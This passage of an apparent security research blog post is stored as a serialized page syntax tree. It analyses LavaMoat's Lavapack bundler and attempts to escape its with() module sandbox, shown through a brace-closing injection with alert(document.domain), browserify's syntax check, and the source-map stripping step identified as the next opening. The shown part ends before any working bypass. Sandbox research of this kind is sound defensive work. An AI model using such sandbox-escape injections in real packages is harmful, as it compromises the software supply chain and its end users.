49009,49013,49018,49022,49026,49031,49035,49039,49043,49048],{"type":22,"tag":264,"props":48997,"children":48998},{"style":4328},[48999],{"type":27,"value":49000},"        throw",{"type":22,"tag":264,"props":49002,"children":49003},{"style":4293},[49004],{"type":27,"value":33248},{"type":22,"tag":264,"props":49006,"children":49007},{"style":4401},[49008],{"type":27,"value":41598},{"type":22,"tag":264,"props":49010,"children":49011},{"style":1539},[49012],{"type":27,"value":2660},{"type":22,"tag":264,"props":49014,"children":49015},{"style":1597},[49016],{"type":27,"value":49017},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":22,"tag":264,"props":49019,"children":49020},{"style":4293},[49021],{"type":27,"value":35423},{"type":22,"tag":264,"props":49023,"children":49024},{"style":4293},[49025],{"type":27,"value":32718},{"type":22,"tag":264,"props":49027,"children":49028},{"style":1549},[49029],{"type":27,"value":49030}," scuttleOpts",{"type":22,"tag":264,"props":49032,"children":49033},{"style":4309},[49034],{"type":27,"value":210},{"type":22,"tag":264,"props":49036,"children":49037},{"style":1549},[49038],{"type":27,"value":48988},{"type":22,"tag":264,"props":49040,"children":49041},{"style":4293},[49042],{"type":27,"value":35455},{"type":22,"tag":264,"props":49044,"children":49045},{"style":1597},[49046],{"type":27,"value":49047},"\"`",{"type":22,"tag":264,"props":49049,"children":49050},{"style":1539},[49051],{"type":27,"value":4463},{"type":22,"tag":264,"props":49053,"children":49054},{"class":1534,"line":1569},[49055],{"type":22,"tag":264,"props":49056,"children":49057},{"style":1539},[49058],{"type":27,"value":1609},{"type":22,"tag":264,"props":49060,"children":49061},{"class":1534,"line":1583},[49062,49067,49071,49076,49080,49085,49089,49094,49098,49103,49107,49111,49115,49119,49123,49127],{"type":22,"tag":264,"props":49063,"children":49064},{"style":1549},[49065],{"type":27,"value":49066},"      scuttleOpts",{"type":22,"tag":264,"props":49068,"children":49069},{"style":1539},[49070],{"type":27,"value":210},{"type":22,"tag":264,"props":49072,"children":49073},{"style":4401},[49074],{"type":27,"value":49075},"scuttlerFunc",{"type":22,"tag":264,"props":49077,"children":49078},{"style":1539},[49079],{"type":27,"value":2660},{"type":22,"tag":264,"props":49081,"children":49082},{"style":1549},[49083],{"type":27,"value":49084},"globalRef",{"type":22,"tag":264,"props":49086,"children":49087},{"style":1539},[49088],{"type":27,"value":4380},{"type":22,"tag":264,"props":49090,"children":49091},{"style":1549},[49092],{"type":27,"value":49093},"realm",{"type":22,"tag":264,"props":49095,"children":49096},{"style":4293},[49097],{"type":27,"value":29065},{"type":22,"tag":264,"props":49099,"children":49100},{"style":4401},[49101],{"type":27,"value":49102}," performScuttleGlobalThis",{"type":22,"tag":264,"props":49104,"children":49105},{"style":1539},[49106],{"type":27,"value":2660},{"type":22,"tag":264,"props":49108,"children":49109},{"style":1549},[49110],{"type":27,"value":49093},{"type":22,"tag":264,"props":49112,"children":49113},{"style":1539},[49114],{"type":27,"value":4380},{"type":22,"tag":264,"props":49116,"children":49117},{"style":1549},[49118],{"type":27,"value":48929},{"type":22,"tag":264,"props":49120,"children":49121},{"style":1539},[49122],{"type":27,"value":210},{"type":22,"tag":264,"props":49124,"children":49125},{"style":1549},[49126],{"type":27,"value":48988},{"type":22,"tag":264,"props":49128,"children":49129},{"style":1539},[49130],{"type":27,"value":21018},{"type":22,"tag":264,"props":49132,"children":49133},{"class":1534,"line":1603},[49134],{"type":22,"tag":264,"props":49135,"children":49136},{"style":1539},[49137],{"type":27,"value":1674},{"type":22,"tag":23,"props":49139,"children":49140},{},[49141,49143,49149,49151,49157],{"type":27,"value":49142},"Subsequently, the code defines a ",{"type":22,"tag":69,"props":49144,"children":49147},{"href":49145,"rel":49146},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[73],[49148],{"type":27,"value":32692},{"type":27,"value":49150}," called ",{"type":22,"tag":257,"props":49152,"children":49154},{"className":49153},[],[49155],{"type":27,"value":49156},"generateScuttleOpts",{"type":27,"value":49158}," that creates and returns an options object.",{"type":22,"tag":23,"props":49160,"children":49161},{},[49162,49164,49170,49171,49177,49179,49184,49186,49192],{"type":27,"value":49163},"Finally, the ",{"type":22,"tag":257,"props":49165,"children":49167},{"className":49166},[],[49168],{"type":27,"value":49169},"performScuttleGlobalThis",{"type":27,"value":7750},{"type":22,"tag":69,"props":49172,"children":49175},{"href":49173,"rel":49174},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[73],[49176],{"type":27,"value":32692},{"type":27,"value":49178}," modifies the properties of the global object (",{"type":22,"tag":257,"props":49180,"children":49182},{"className":49181},[],[49183],{"type":27,"value":49084},{"type":27,"value":49185},"). It starts by creating an array ",{"type":22,"tag":257,"props":49187,"children":49189},{"className":49188},[],[49190],{"type":27,"value":49191},"props",{"type":27,"value":49193},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":22,"tag":169,"props":49195,"children":49197},{"id":49196},"hacking-webpacks",[49198],{"type":27,"value":49199},"Hacking Webpacks",{"type":22,"tag":23,"props":49201,"children":49202},{},[49203],{"type":27,"value":49204},"Now let's get to the fun stuff.",{"type":22,"tag":23,"props":49206,"children":49207},{},[49208],{"type":27,"value":49209},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":22,"tag":618,"props":49211,"children":49213},{"className":32678,"code":49212,"language":32680,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[49214],{"type":22,"tag":257,"props":49215,"children":49216},{"__ignoreMap":7},[49217,49269,49281,49301,49318,49326,49334,49342,49350,49371,49379,49387,49395,49402,49409,49416],{"type":22,"tag":264,"props":49218,"children":49219},{"class":1534,"line":1535},[49220,49224,49229,49233,49238,49242,49247,49251,49256,49260,49265],{"type":22,"tag":264,"props":49221,"children":49222},{"style":4293},[49223],{"type":27,"value":37503},{"type":22,"tag":264,"props":49225,"children":49226},{"style":1549},[49227],{"type":27,"value":49228}," filename",{"type":22,"tag":264,"props":49230,"children":49231},{"style":4309},[49232],{"type":27,"value":4312},{"type":22,"tag":264,"props":49234,"children":49235},{"style":4401},[49236],{"type":27,"value":49237}," encodeURI",{"type":22,"tag":264,"props":49239,"children":49240},{"style":1539},[49241],{"type":27,"value":2660},{"type":22,"tag":264,"props":49243,"children":49244},{"style":4401},[49245],{"type":27,"value":49246},"String",{"type":22,"tag":264,"props":49248,"children":49249},{"style":1539},[49250],{"type":27,"value":2660},{"type":22,"tag":264,"props":49252,"children":49253},{"style":1549},[49254],{"type":27,"value":49255},"moduleData",{"type":22,"tag":264,"props":49257,"children":49258},{"style":1539},[49259],{"type":27,"value":210},{"type":22,"tag":264,"props":49261,"children":49262},{"style":1549},[49263],{"type":27,"value":49264},"file",{"type":22,"tag":264,"props":49266,"children":49267},{"style":1539},[49268],{"type":27,"value":21018},{"type":22,"tag":264,"props":49270,"children":49271},{"class":1534,"line":1545},[49272,49276],{"type":22,"tag":264,"props":49273,"children":49274},{"style":4293},[49275],{"type":27,"value":9149},{"type":22,"tag":264,"props":49277,"children":49278},{"style":1549},[49279],{"type":27,"value":49280}," moduleWrapperSource\n",{"type":22,"tag":264,"props":49282,"children":49283},{"class":1534,"line":1560},[49284,49288,49292,49297],{"type":22,"tag":264,"props":49285,"children":49286},{"style":4328},[49287],{"type":27,"value":32709},{"type":22,"tag":264,"props":49289,"children":49290},{"style":1539},[49291],{"type":27,"value":4370},{"type":22,"tag":264,"props":49293,"children":49294},{"style":1549},[49295],{"type":27,"value":49296},"bundleWithPrecompiledModules",{"type":22,"tag":264,"props":49298,"children":49299},{"style":1539},[49300],{"type":27,"value":16103},{"type":22,"tag":264,"props":49302,"children":49303},{"class":1534,"line":1569},[49304,49309,49313],{"type":22,"tag":264,"props":49305,"children":49306},{"style":1549},[49307],{"type":27,"value":49308},"    moduleWrapperSource",{"type":22,"tag":264,"props":49310,"children":49311},{"style":4309},[49312],{"type":27,"value":4312},{"type":22,"tag":264,"props":49314,"children":49315},{"style":1597},[49316],{"type":27,"value":49317}," `function(){\n",{"type":22,"tag":264,"props":49319,"children":49320},{"class":1534,"line":1583},[49321],{"type":22,"tag":264,"props":49322,"children":49323},{"style":1597},[49324],{"type":27,"value":49325},"      with (this.scopeTerminator) {\n",{"type":22,"tag":264,"props":49327,"children":49328},{"class":1534,"line":1603},[49329],{"type":22,"tag":264,"props":49330,"children":49331},{"style":1597},[49332],{"type":27,"value":49333},"        with (this.globalThis) {\n",{"type":22,"tag":264,"props":49335,"children":49336},{"class":1534,"line":1612},[49337],{"type":22,"tag":264,"props":49338,"children":49339},{"style":1597},[49340],{"type":27,"value":49341},"          return function() {\n",{"type":22,"tag":264,"props":49343,"children":49344},{"class":1534,"line":1621},[49345],{"type":22,"tag":264,"props":49346,"children":49347},{"style":1597},[49348],{"type":27,"value":49349},"            'use strict';\n",{"type":22,"tag":264,"props":49351,"children":49352},{"class":1534,"line":1629},[49353,49358,49362,49367],{"type":22,"tag":264,"props":49354,"children":49355},{"style":1597},[49356],{"type":27,"value":49357},"            // source: ",{"type":22,"tag":264,"props":49359,"children":49360},{"style":4293},[49361],{"type":27,"value":35423},{"type":22,"tag":264,"props":49363,"children":49364},{"style":1549},[49365],{"type":27,"value":49366},"filename",{"type":22,"tag":264,"props":49368,"children":49369},{"style":4293},[49370],{"type":27,"value":1692},{"type":22,"tag":264,"props":49372,"children":49373},{"class":1534,"line":1642},[49374],{"type":22,"tag":264,"props":49375,"children":49376},{"style":1597},[49377],{"type":27,"value":49378},"            return function (require, module, exports) {\n",{"type":22,"tag":264,"props":49380,"children":49381},{"class":1534,"line":1660},[49382],{"type":22,"tag":264,"props":49383,"children":49384},{"style":1597},[49385],{"type":27,"value":49386},"              __MODULE_CONTENT__\n",{"type":22,"tag":264,"props":49388,"children":49389},{"class":1534,"line":1668},[49390],{"type":22,"tag":264,"props":49391,"children":49392},{"style":1597},[49393],{"type":27,"value":49394},"            };\n",{"type":22,"tag":264,"props":49396,"children":49397},{"class":1534,"line":1677},[49398],{"type":22,"tag":264,"props":49399,"children":49400},{"style":1597},[49401],{"type":27,"value":9997},{"type":22,"tag":264,"props":49403,"children":49404},{"class":1534,"line":1686},[49405],{"type":22,"tag":264,"props":49406,"children":49407},{"style":1597},[49408],{"type":27,"value":4651},{"type":22,"tag":264,"props":49410,"children":49411},{"class":1534,"line":4948},[49412],{"type":22,"tag":264,"props":49413,"children":49414},{"style":1597},[49415],{"type":27,"value":1609},{"type":22,"tag":264,"props":49417,"children":49418},{"class":1534,"line":4957},[49419],{"type":22,"tag":264,"props":49420,"children":49421},{"style":1597},[49422],{"type":27,"value":49423},"    }`\n",{"type":22,"tag":23,"props":49425,"children":49426},{},[49427,49429,49435,49437,49443],{"type":27,"value":49428},"Lavapack uses ",{"type":22,"tag":257,"props":49430,"children":49432},{"className":49431},[],[49433],{"type":27,"value":49434},"with()",{"type":27,"value":49436}," proxies to restrict the objects accessible by the module, and ",{"type":22,"tag":257,"props":49438,"children":49440},{"className":49439},[],[49441],{"type":27,"value":49442},"__MODULE_CONTENT__",{"type":27,"value":49444}," is replaced by the content of a file required by the project being built.",{"type":22,"tag":181,"props":49446,"children":49448},{"id":49447},"injection-not-so-simple",[49449],{"type":27,"value":49450},"Injection? Not So Simple",{"type":22,"tag":23,"props":49452,"children":49453},{},[49454,49456,49461],{"type":27,"value":49455},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":22,"tag":257,"props":49457,"children":49459},{"className":49458},[],[49460],{"type":27,"value":13950},{"type":27,"value":49462}," environment:",{"type":22,"tag":618,"props":49464,"children":49466},{"className":32678,"code":49465,"language":32680,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[49467],{"type":22,"tag":257,"props":49468,"children":49469},{"__ignoreMap":7},[49470,49483,49495,49507,49519,49526],{"type":22,"tag":264,"props":49471,"children":49472},{"class":1534,"line":1535},[49473,49478],{"type":22,"tag":264,"props":49474,"children":49475},{"style":1539},[49476],{"type":27,"value":49477},"   } ",{"type":22,"tag":264,"props":49479,"children":49480},{"style":4284},[49481],{"type":27,"value":49482},"// end function 1\n",{"type":22,"tag":264,"props":49484,"children":49485},{"class":1534,"line":1545},[49486,49490],{"type":22,"tag":264,"props":49487,"children":49488},{"style":1539},[49489],{"type":27,"value":32783},{"type":22,"tag":264,"props":49491,"children":49492},{"style":4284},[49493],{"type":27,"value":49494},"// end function 2\n",{"type":22,"tag":264,"props":49496,"children":49497},{"class":1534,"line":1560},[49498,49502],{"type":22,"tag":264,"props":49499,"children":49500},{"style":1539},[49501],{"type":27,"value":37517},{"type":22,"tag":264,"props":49503,"children":49504},{"style":4284},[49505],{"type":27,"value":49506},"// end with 1\n",{"type":22,"tag":264,"props":49508,"children":49509},{"class":1534,"line":1569},[49510,49514],{"type":22,"tag":264,"props":49511,"children":49512},{"style":1539},[49513],{"type":27,"value":48193},{"type":22,"tag":264,"props":49515,"children":49516},{"style":4284},[49517],{"type":27,"value":49518},"// end with 2\n",{"type":22,"tag":264,"props":49520,"children":49521},{"class":1534,"line":1583},[49522],{"type":22,"tag":264,"props":49523,"children":49524},{"emptyLinePlaceholder":17},[49525],{"type":27,"value":4986},{"type":22,"tag":264,"props":49527,"children":49528},{"class":1534,"line":1603},[49529,49533,49537,49541,49545,49549],{"type":22,"tag":264,"props":49530,"children":49531},{"style":4401},[49532],{"type":27,"value":34013},{"type":22,"tag":264,"props":49534,"children":49535},{"style":1539},[49536],{"type":27,"value":2660},{"type":22,"tag":264,"props":49538,"children":49539},{"style":1549},[49540],{"type":27,"value":34023},{"type":22,"tag":264,"props":49542,"children":49543},{"style":1539},[49544],{"type":27,"value":210},{"type":22,"tag":264,"props":49546,"children":49547},{"style":1549},[49548],{"type":27,"value":34033},{"type":22,"tag":264,"props":49550,"children":49551},{"style":1539},[49552],{"type":27,"value":4463},{"type":22,"tag":23,"props":49554,"children":49555},{},[49556,49558,49564,49566,49573],{"type":27,"value":49557},"However, when we tried to bundle it, a ",{"type":22,"tag":257,"props":49559,"children":49561},{"className":49560},[],[49562],{"type":27,"value":49563},"ParseError",{"type":27,"value":49565}," was thrown. This is because Lavapack is a plugin of ",{"type":22,"tag":69,"props":49567,"children":49570},{"href":49568,"rel":49569},"https://github.com/browserify/browserify",[73],[49571],{"type":27,"value":49572},"browserify",{"type":27,"value":49574},", which has a syntax check before replacing the code.",{"type":22,"tag":23,"props":49576,"children":49577},{},[49578,49580,49586,49588,49594,49596,49602,49604,49609],{"type":27,"value":49579},"Looking deeper into browserify, we find it has a ",{"type":22,"tag":257,"props":49581,"children":49583},{"className":49582},[],[49584],{"type":27,"value":49585},"syntax",{"type":27,"value":49587}," stage on it's pipeline, and uses the ",{"type":22,"tag":257,"props":49589,"children":49591},{"className":49590},[],[49592],{"type":27,"value":49593},"syntax-error",{"type":27,"value":49595}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":22,"tag":257,"props":49597,"children":49599},{"className":49598},[],[49600],{"type":27,"value":49601},"pack",{"type":27,"value":49603}," stage on browserify pipeline, which comes after the ",{"type":22,"tag":257,"props":49605,"children":49607},{"className":49606},[],[49608],{"type":27,"value":49585},{"type":27,"value":49610},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":22,"tag":23,"props":49612,"children":49613},{},[49614],{"type":22,"tag":215,"props":49615,"children":49618},{"alt":49616,"src":49617},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":22,"tag":23,"props":49620,"children":49621},{},[49622,49623,49628,49630,49635],{"type":27,"value":17914},{"type":22,"tag":257,"props":49624,"children":49626},{"className":49625},[],[49627],{"type":27,"value":49593},{"type":27,"value":49629}," package performs a syntax check by using  ",{"type":22,"tag":257,"props":49631,"children":49633},{"className":49632},[],[49634],{"type":27,"value":38862},{"type":27,"value":49636}," with function hoisting:",{"type":22,"tag":618,"props":49638,"children":49640},{"className":32678,"code":49639,"language":32680,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[49641],{"type":22,"tag":257,"props":49642,"children":49643},{"__ignoreMap":7},[49644,49656,49706,49717,49724,49745,49786,49846,49887],{"type":22,"tag":264,"props":49645,"children":49646},{"class":1534,"line":1535},[49647,49652],{"type":22,"tag":264,"props":49648,"children":49649},{"style":4328},[49650],{"type":27,"value":49651},"try",{"type":22,"tag":264,"props":49653,"children":49654},{"style":1539},[49655],{"type":27,"value":4594},{"type":22,"tag":264,"props":49657,"children":49658},{"class":1534,"line":1545},[49659,49664,49668,49673,49677,49682,49686,49691,49697,49702],{"type":22,"tag":264,"props":49660,"children":49661},{"style":4401},[49662],{"type":27,"value":49663},"    eval",{"type":22,"tag":264,"props":49665,"children":49666},{"style":1539},[49667],{"type":27,"value":2660},{"type":22,"tag":264,"props":49669,"children":49670},{"style":1597},[49671],{"type":27,"value":49672},"'throw \"STOP\"; (function () { '",{"type":22,"tag":264,"props":49674,"children":49675},{"style":4309},[49676],{"type":27,"value":10200},{"type":22,"tag":264,"props":49678,"children":49679},{"style":1549},[49680],{"type":27,"value":49681}," src",{"type":22,"tag":264,"props":49683,"children":49684},{"style":4309},[49685],{"type":27,"value":10200},{"type":22,"tag":264,"props":49687,"children":49688},{"style":1597},[49689],{"type":27,"value":49690}," '",{"type":22,"tag":264,"props":49692,"children":49694},{"style":49693},"--shiki-default:#D7BA7D",[49695],{"type":27,"value":49696},"\\n",{"type":22,"tag":264,"props":49698,"children":49699},{"style":1597},[49700],{"type":27,"value":49701},"})()'",{"type":22,"tag":264,"props":49703,"children":49704},{"style":1539},[49705],{"type":27,"value":5142},{"type":22,"tag":264,"props":49707,"children":49708},{"class":1534,"line":1560},[49709,49713],{"type":22,"tag":264,"props":49710,"children":49711},{"style":4328},[49712],{"type":27,"value":18291},{"type":22,"tag":264,"props":49714,"children":49715},{"style":1539},[49716],{"type":27,"value":4322},{"type":22,"tag":264,"props":49718,"children":49719},{"class":1534,"line":1569},[49720],{"type":22,"tag":264,"props":49721,"children":49722},{"style":1539},[49723],{"type":27,"value":1692},{"type":22,"tag":264,"props":49725,"children":49726},{"class":1534,"line":1583},[49727,49732,49736,49741],{"type":22,"tag":264,"props":49728,"children":49729},{"style":4328},[49730],{"type":27,"value":49731},"catch",{"type":22,"tag":264,"props":49733,"children":49734},{"style":1539},[49735],{"type":27,"value":4370},{"type":22,"tag":264,"props":49737,"children":49738},{"style":1549},[49739],{"type":27,"value":49740},"err",{"type":22,"tag":264,"props":49742,"children":49743},{"style":1539},[49744],{"type":27,"value":16103},{"type":22,"tag":264,"props":49746,"children":49747},{"class":1534,"line":1603},[49748,49752,49756,49760,49764,49769,49773,49778,49782],{"type":22,"tag":264,"props":49749,"children":49750},{"style":4328},[49751],{"type":27,"value":13578},{"type":22,"tag":264,"props":49753,"children":49754},{"style":1539},[49755],{"type":27,"value":4370},{"type":22,"tag":264,"props":49757,"children":49758},{"style":1549},[49759],{"type":27,"value":49740},{"type":22,"tag":264,"props":49761,"children":49762},{"style":4309},[49763],{"type":27,"value":32737},{"type":22,"tag":264,"props":49765,"children":49766},{"style":1597},[49767],{"type":27,"value":49768}," 'STOP'",{"type":22,"tag":264,"props":49770,"children":49771},{"style":1539},[49772],{"type":27,"value":4390},{"type":22,"tag":264,"props":49774,"children":49775},{"style":4328},[49776],{"type":27,"value":49777},"return",{"type":22,"tag":264,"props":49779,"children":49780},{"style":4293},[49781],{"type":27,"value":40652},{"type":22,"tag":264,"props":49783,"children":49784},{"style":1539},[49785],{"type":27,"value":4322},{"type":22,"tag":264,"props":49787,"children":49788},{"class":1534,"line":1612},[49789,49793,49797,49801,49805,49810,49814,49819,49824,49829,49833,49837,49842],{"type":22,"tag":264,"props":49790,"children":49791},{"style":4328},[49792],{"type":27,"value":13578},{"type":22,"tag":264,"props":49794,"children":49795},{"style":1539},[49796],{"type":27,"value":4370},{"type":22,"tag":264,"props":49798,"children":49799},{"style":1549},[49800],{"type":27,"value":49740},{"type":22,"tag":264,"props":49802,"children":49803},{"style":1539},[49804],{"type":27,"value":210},{"type":22,"tag":264,"props":49806,"children":49807},{"style":1549},[49808],{"type":27,"value":49809},"constructor",{"type":22,"tag":264,"props":49811,"children":49812},{"style":1539},[49813],{"type":27,"value":210},{"type":22,"tag":264,"props":49815,"children":49816},{"style":1549},[49817],{"type":27,"value":49818},"name",{"type":22,"tag":264,"props":49820,"children":49821},{"style":4309},[49822],{"type":27,"value":49823}," !==",{"type":22,"tag":264,"props":49825,"children":49826},{"style":1597},[49827],{"type":27,"value":49828}," 'SyntaxError'",{"type":22,"tag":264,"props":49830,"children":49831},{"style":1539},[49832],{"type":27,"value":4390},{"type":22,"tag":264,"props":49834,"children":49835},{"style":4328},[49836],{"type":27,"value":49777},{"type":22,"tag":264,"props":49838,"children":49839},{"style":1549},[49840],{"type":27,"value":49841}," err",{"type":22,"tag":264,"props":49843,"children":49844},{"style":1539},[49845],{"type":27,"value":4322},{"type":22,"tag":264,"props":49847,"children":49848},{"class":1534,"line":1621},[49849,49853,49858,49862,49866,49870,49874,49878,49883],{"type":22,"tag":264,"props":49850,"children":49851},{"style":4328},[49852],{"type":27,"value":18291},{"type":22,"tag":264,"props":49854,"children":49855},{"style":4401},[49856],{"type":27,"value":49857}," errorInfo",{"type":22,"tag":264,"props":49859,"children":49860},{"style":1539},[49861],{"type":27,"value":2660},{"type":22,"tag":264,"props":49863,"children":49864},{"style":1549},[49865],{"type":27,"value":33985},{"type":22,"tag":264,"props":49867,"children":49868},{"style":1539},[49869],{"type":27,"value":4380},{"type":22,"tag":264,"props":49871,"children":49872},{"style":1549},[49873],{"type":27,"value":49264},{"type":22,"tag":264,"props":49875,"children":49876},{"style":1539},[49877],{"type":27,"value":4380},{"type":22,"tag":264,"props":49879,"children":49880},{"style":1549},[49881],{"type":27,"value":49882},"opts",{"type":22,"tag":264,"props":49884,"children":49885},{"style":1539},[49886],{"type":27,"value":5142},{"type":22,"tag":264,"props":49888,"children":49889},{"class":1534,"line":1629},[49890],{"type":22,"tag":264,"props":49891,"children":49892},{"style":1539},[49893],{"type":27,"value":1692},{"type":22,"tag":23,"props":49895,"children":49896},{},[49897,49899,49903,49905,49911,49913,49918],{"type":27,"value":49898},"Interestingly, it ",{"type":22,"tag":1699,"props":49900,"children":49901},{},[49902],{"type":27,"value":5293},{"type":27,"value":49904}," possible to inject a ",{"type":22,"tag":257,"props":49906,"children":49908},{"className":49907},[],[49909],{"type":27,"value":49910},"}); (() => {",{"type":27,"value":49912}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":22,"tag":257,"props":49914,"children":49916},{"className":49915},[],[49917],{"type":27,"value":49434},{"type":27,"value":49919}," sandbox of Lavapack.",{"type":22,"tag":181,"props":49921,"children":49923},{"id":49922},"sourcemap-the-syntax-killer",[49924],{"type":27,"value":49925},"SourceMap: The Syntax Killer",{"type":22,"tag":23,"props":49927,"children":49928},{},[49929,49931,49938],{"type":27,"value":49930},"Lavapack has a feature to extract source maps files from the code using ",{"type":22,"tag":69,"props":49932,"children":49935},{"href":49933,"rel":49934},"https://www.npmjs.com/package/convert-source-map",[73],[49936],{"type":27,"value":49937},"convert-source-map",{"type":27,"value":49939}," npm package:",{"type":22,"tag":618,"props":49941,"children":49943},{"className":32678,"code":49942,"language":32680,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[49944],{"type":22,"tag":257,"props":49945,"children":49946},{"__ignoreMap":7},[49947,49971,50013,50021,50062,50103,50131],{"type":22,"tag":264,"props":49948,"children":49949},{"class":1534,"line":1535},[49950,49954,49959,49963,49967],{"type":22,"tag":264,"props":49951,"children":49952},{"style":4293},[49953],{"type":27,"value":32692},{"type":22,"tag":264,"props":49955,"children":49956},{"style":4401},[49957],{"type":27,"value":49958}," extractSourceMaps",{"type":22,"tag":264,"props":49960,"children":49961},{"style":1539},[49962],{"type":27,"value":2660},{"type":22,"tag":264,"props":49964,"children":49965},{"style":1549},[49966],{"type":27,"value":39328},{"type":22,"tag":264,"props":49968,"children":49969},{"style":1539},[49970],{"type":27,"value":16103},{"type":22,"tag":264,"props":49972,"children":49973},{"class":1534,"line":1545},[49974,49978,49983,49987,49992,49996,50001,50005,50009],{"type":22,"tag":264,"props":49975,"children":49976},{"style":4293},[49977],{"type":27,"value":37503},{"type":22,"tag":264,"props":49979,"children":49980},{"style":1549},[49981],{"type":27,"value":49982}," converter",{"type":22,"tag":264,"props":49984,"children":49985},{"style":4309},[49986],{"type":27,"value":4312},{"type":22,"tag":264,"props":49988,"children":49989},{"style":1549},[49990],{"type":27,"value":49991}," convertSourceMap",{"type":22,"tag":264,"props":49993,"children":49994},{"style":1539},[49995],{"type":27,"value":210},{"type":22,"tag":264,"props":49997,"children":49998},{"style":4401},[49999],{"type":27,"value":50000},"fromSource",{"type":22,"tag":264,"props":50002,"children":50003},{"style":1539},[50004],{"type":27,"value":2660},{"type":22,"tag":264,"props":50006,"children":50007},{"style":1549},[50008],{"type":27,"value":39328},{"type":22,"tag":264,"props":50010,"children":50011},{"style":1539},[50012],{"type":27,"value":4463},{"type":22,"tag":264,"props":50014,"children":50015},{"class":1534,"line":1560},[50016],{"type":22,"tag":264,"props":50017,"children":50018},{"style":4284},[50019],{"type":27,"value":50020},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":22,"tag":264,"props":50022,"children":50023},{"class":1534,"line":1569},[50024,50028,50033,50037,50041,50045,50049,50053,50058],{"type":22,"tag":264,"props":50025,"children":50026},{"style":4293},[50027],{"type":27,"value":37503},{"type":22,"tag":264,"props":50029,"children":50030},{"style":1549},[50031],{"type":27,"value":50032}," maps",{"type":22,"tag":264,"props":50034,"children":50035},{"style":4309},[50036],{"type":27,"value":4312},{"type":22,"tag":264,"props":50038,"children":50039},{"style":1549},[50040],{"type":27,"value":49982},{"type":22,"tag":264,"props":50042,"children":50043},{"style":4309},[50044],{"type":27,"value":15484},{"type":22,"tag":264,"props":50046,"children":50047},{"style":1549},[50048],{"type":27,"value":49982},{"type":22,"tag":264,"props":50050,"children":50051},{"style":1539},[50052],{"type":27,"value":210},{"type":22,"tag":264,"props":50054,"children":50055},{"style":4401},[50056],{"type":27,"value":50057},"toObject",{"type":22,"tag":264,"props":50059,"children":50060},{"style":1539},[50061],{"type":27,"value":9029},{"type":22,"tag":264,"props":50063,"children":50064},{"class":1534,"line":1583},[50065,50069,50074,50078,50082,50086,50091,50095,50099],{"type":22,"tag":264,"props":50066,"children":50067},{"style":4293},[50068],{"type":27,"value":37503},{"type":22,"tag":264,"props":50070,"children":50071},{"style":1549},[50072],{"type":27,"value":50073}," code",{"type":22,"tag":264,"props":50075,"children":50076},{"style":4309},[50077],{"type":27,"value":4312},{"type":22,"tag":264,"props":50079,"children":50080},{"style":1549},[50081],{"type":27,"value":49991},{"type":22,"tag":264,"props":50083,"children":50084},{"style":1539},[50085],{"type":27,"value":210},{"type":22,"tag":264,"props":50087,"children":50088},{"style":4401},[50089],{"type":27,"value":50090},"removeComments",{"type":22,"tag":264,"props":50092,"children":50093},{"style":1539},[50094],{"type":27,"value":2660},{"type":22,"tag":264,"props":50096,"children":50097},{"style":1549},[50098],{"type":27,"value":39328},{"type":22,"tag":264,"props":50100,"children":50101},{"style":1539},[50102],{"type":27,"value":4463},{"type":22,"tag":264,"props":50104,"children":50105},{"class":1534,"line":1603},[50106,50110,50114,50118,50122,50127],{"type":22,"tag":264,"props":50107,"children":50108},{"style":4328},[50109],{"type":27,"value":40513},{"type":22,"tag":264,"props":50111,"children":50112},{"style":1539},[50113],{"type":27,"value":10884},{"type":22,"tag":264,"props":50115,"children":50116},{"style":1549},[50117],{"type":27,"value":257},{"type":22,"tag":264,"props":50119,"children":50120},{"style":1539},[50121],{"type":27,"value":4380},{"type":22,"tag":264,"props":50123,"children":50124},{"style":1549},[50125],{"type":27,"value":50126},"maps",{"type":22,"tag":264,"props":50128,"children":50129},{"style":1539},[50130],{"type":27,"value":10894},{"type":22,"tag":264,"props":50132,"children":50133},{"class":1534,"line":1612},[50134],{"type":22,"tag":264,"props":50135,"children":50136},{"style":1539},[50137],{"type":27,"value":1692},{"type":22,"tag":23,"props":50139,"children":50140},{},[50141,50143,50148,50150,50155],{"type":27,"value":50142},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":22,"tag":257,"props":50144,"children":50146},{"className":50145},[],[50147],{"type":27,"value":49585},{"type":27,"value":50149}," stage. Reviewing the ",{"type":22,"tag":257,"props":50151,"children":50153},{"className":50152},[],[50154],{"type":27,"value":49937},{"type":27,"value":50156}," code, we can see exactly how this 